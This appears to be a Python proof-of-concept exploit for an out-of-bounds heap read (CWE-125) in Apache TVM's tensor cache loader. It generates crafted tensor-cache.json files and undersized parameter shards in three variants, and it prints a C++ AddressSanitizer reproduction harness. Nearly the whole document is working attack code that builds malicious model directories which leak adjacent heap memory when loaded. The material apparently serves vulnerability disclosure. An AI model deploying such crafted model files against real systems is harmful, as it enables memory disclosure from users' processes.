#!/usr/bin/env python3 """ TVM TensorCache Heap Buffer Overflow READ via Unvalidated byte_offset ===================================================================== CWE-125 | Out-of-bounds Read Root cause: In ParamRecord::Load() (tensor_cache_support.cc:159,165), byte_offset and nbytes from tensor-cache.json have ZERO bounds checking. When byte_offset + nbytes > raw_data.size(), memcpy reads past the heap allocation, leaking adjacent memory. For raw_data=300 bytes, byte_offset=200, nbytes=200: memcpy reads [200, 400) from a [0, 300) buffer → 100-byte OOB READ Both bf16 and raw paths are affected (lines 159 and 165). Repository: https://github.com/apache/tvm Affected: src/runtime/vm/tensor_cache_support.cc, ParamRecord::Load(), lines 159,165 """ import json import os import sys def create_malicious_model_dir(output_dir, raw_data_size=300, byte_offset=200, nbytes=200): """ Create a fake TVM model directory with crafted tensor-cache.json where byte_offset + nbytes > raw_data_size → OOB READ. Directory structure: output_dir/ tensor-cache.json ← crafted byte_offset exceeds data params_shard_0.bin ← binary parameter data (smaller than byte_offset+nbytes) """ os.makedirs(output_dir, exist_ok=True) oob_bytes = byte_offset + nbytes - raw_data_size # ── tensor-cache.json ── # Both bf16 and raw paths are vulnerable; demonstrate bf16 path metadata = { "records": [ { "dataPath": "params_shard_0.bin", "format": "raw-shard", "nbytes": raw_data_size, "records": [ { "name": "leak_param", "shape": [nbytes // 4], # float32 elements "dtype": "float32", "format": "f32-to-bf16", # bf16 path (line 159) "nbytes": nbytes, # attacker-controlled "byteOffset": byte_offset # OOB: offset + nbytes > file size! } ] } ] } json_path = os.path.join(output_dir, "tensor-cache.json") with open(json_path, "w") as f: json.dump(metadata, f, indent=2) # ── Binary shard (smaller than byte_offset + nbytes) ── shard_data = b"\x43" * raw_data_size # only raw_data_size bytes shard_path = os.path.join(output_dir, "params_shard_0.bin") with open(shard_path, "wb") as f: f.write(shard_data) # Also create a "raw" format variant to show both paths affected metadata_raw = { "records": [ { "dataPath": "params_shard_0.bin", "format": "raw-shard", "nbytes": raw_data_size, "records": [ { "name": "leak_param_raw", "shape": [nbytes // 4], "dtype": "float32", "format": "raw", # non-bf16 path (line 165) "nbytes": nbytes, "byteOffset": byte_offset } ] } ] } raw_json_path = os.path.join(output_dir, "tensor-cache-raw-variant.json") with open(raw_json_path, "w") as f: json.dump(metadata_raw, f, indent=2) return json_path, oob_bytes def main(): print("[*] TVM TensorCache Heap Buffer Overflow READ via byte_offset PoC") print("[*] CWE-125 | src/runtime/vm/tensor_cache_support.cc:159,165") print() outdir = os.path.dirname(os.path.abspath(__file__)) model_dir = os.path.join(outdir, "malicious_model_oob_read") # ── Variant 1: moderate OOB READ ── subdir1 = os.path.join(model_dir, "100byte_oob") _, oob1 = create_malicious_model_dir(subdir1, raw_data_size=300, byte_offset=200, nbytes=200) print(f" [Variant 1: 100-byte OOB READ]") print(f" raw_data_size = 300 bytes") print(f" byte_offset = 200") print(f" nbytes = 200") print(f" OOB READ = {oob1} bytes past allocation") print(f" Dir: {subdir1}") print() # ── Variant 2: large OOB READ ── subdir2 = os.path.join(model_dir, "4000byte_oob") _, oob2 = create_malicious_model_dir(subdir2, raw_data_size=100, byte_offset=0, nbytes=4100) print(f" [Variant 2: 4000-byte OOB READ]") print(f" raw_data_size = 100 bytes") print(f" byte_offset = 0") print(f" nbytes = 4100") print(f" OOB READ = {oob2} bytes past allocation") print(f" Dir: {subdir2}") print() # ── Variant 3: offset-only OOB ── subdir3 = os.path.join(model_dir, "offset_only_oob") _, oob3 = create_malicious_model_dir(subdir3, raw_data_size=100, byte_offset=200, nbytes=100) print(f" [Variant 3: offset-only OOB READ]") print(f" raw_data_size = 100 bytes") print(f" byte_offset = 200 (past end of data!)") print(f" nbytes = 100") print(f" OOB READ = {oob3} bytes past allocation") print(f" Dir: {subdir3}") print() print("[*] C++ reproduction (confirmed with ASAN):") print() print(" cd /path/to/tvm/build") print(" g++ -std=c++17 -fsanitize=address -O0 -g \\") print(" -I../include -I../3rdparty/tvm-ffi/include \\") print(" -I../3rdparty/tvm-ffi/3rdparty/dlpack/include -I.. \\") print(" -o poc_f4 - << 'CPPEOF'") print("""#include #include #include using namespace tvm::runtime; using namespace tvm::runtime::vm; int main() { DLDevice dev = {kDLCPU, 0}; TensorCacheMetadata::FileRecord::ParamRecord param; param.name = "oob_read"; param.dtype = DataType::Float(32); param.format = "f32-to-bf16"; param.nbytes = 200; // even (no write overflow) param.byte_offset = 200; // 200 + 200 = 400 > 300 → OOB READ! param.shape = tvm::ffi::Shape({100}); std::string raw_data(300, 'C'); // only 300 bytes param.Load(dev, &raw_data); // HEAP OOB READ! 100 bytes past allocation } CPPEOF""") print(" LD_LIBRARY_PATH=. ./poc_f4") print() print("[+] Done. See asan_output.txt for confirmed heap-buffer-overflow READ.") if __name__ == "__main__": main()